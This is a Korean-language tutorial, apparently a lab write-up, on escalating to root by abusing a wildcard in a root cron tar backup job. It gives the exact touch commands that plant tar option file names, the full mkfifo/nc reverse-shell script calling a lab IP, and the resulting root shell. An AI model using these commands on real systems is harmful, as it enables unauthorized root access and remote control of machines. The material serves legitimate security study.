와일드카드(*)를 이용한 권한상승 취약점에 대한 설명글.
시나리오
cron에 등록된 작업에 와일드카드를 이용한 명령어가 적혀있는 경우를 가정하여 권한상승 공격을 실시.
cat /etc/crontab
을 했을 경우 아래와 같은 작업이 등록되어 있다고 가정한다.
# m h dom mon dow user command
*/01 * * * * root cd /home/vuln/backuplog && tar -zcf /backup/backuplog.tar.gz *
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
여기서 주목해야 할 부분은 처음에 있는 tar 명령어와 root의 권한으로 실행된다는 점.
그리고 wildcard (*)에 의해서 디렉토리 휘하에 모든 파일이 tar에 인식된다는 점.
tar의 옵션중 –checkpoint-action을 이용하면 지정한 파일을 실행하는 것도 가능하다.
위의 첫번째 작업을 해석하면, /home/vuln/backuplog
라는 디렉토리로 이동 후, 그 디렉토리안에 있는 모든 파일을 하나로 묶어 backup
디렉토리에 저장하고 있다.
취약점
이 점을 이용하여 디렉토리에 명령어를 파일처럼 만들어두어 tar가 실행하도록 한다.
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh rev.sh'
위와 같이 두개의 명령어를 추가하여 리버스쉘을 실행하도록 유도할 수 있다.
touch --
를 해야 명령어 형식의 파일을 만들 수 있다.
ls /home/vuln/backuplog
'--checkpoint-action=exec=sh rev.sh'
'--checkpoint=1'
bad.log
good.log
rev.sh
backuplog
디렉토리를 보면 방금 만든 명령어 2개와 리버스쉘 파일, 그리고 good,bad라는 로그파일 두개가 있다.
rev.sh라는 실행파일은 리버스쉘을 위해 작성한 실행파일이다. 안에 내용물은 아래와 같다.
#! /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|../Desktop/nc 192.168.11.135 8888 >/tmp/f
cron잡에 의해 위의 파일은 결국 다음과 같이 실행될 것이다.
tar -zcf /backup/backuplog.tar.gz --checkpoint=1 --checkpoint-action=exec=sh rev.sh bad.log good.log rev.sh
결과
crontab을 보면 백업 작업이 매분마다 실행되었기 때문에 호스트 머신에서 포트를 리스닝하고 기다리고있으면 cron잡이 실행되어 root로 타겟머신의 쉘이 열리게 된다.
id
명령어를 실행하면 root로 쉘을 취득한 것을 알 수 있다.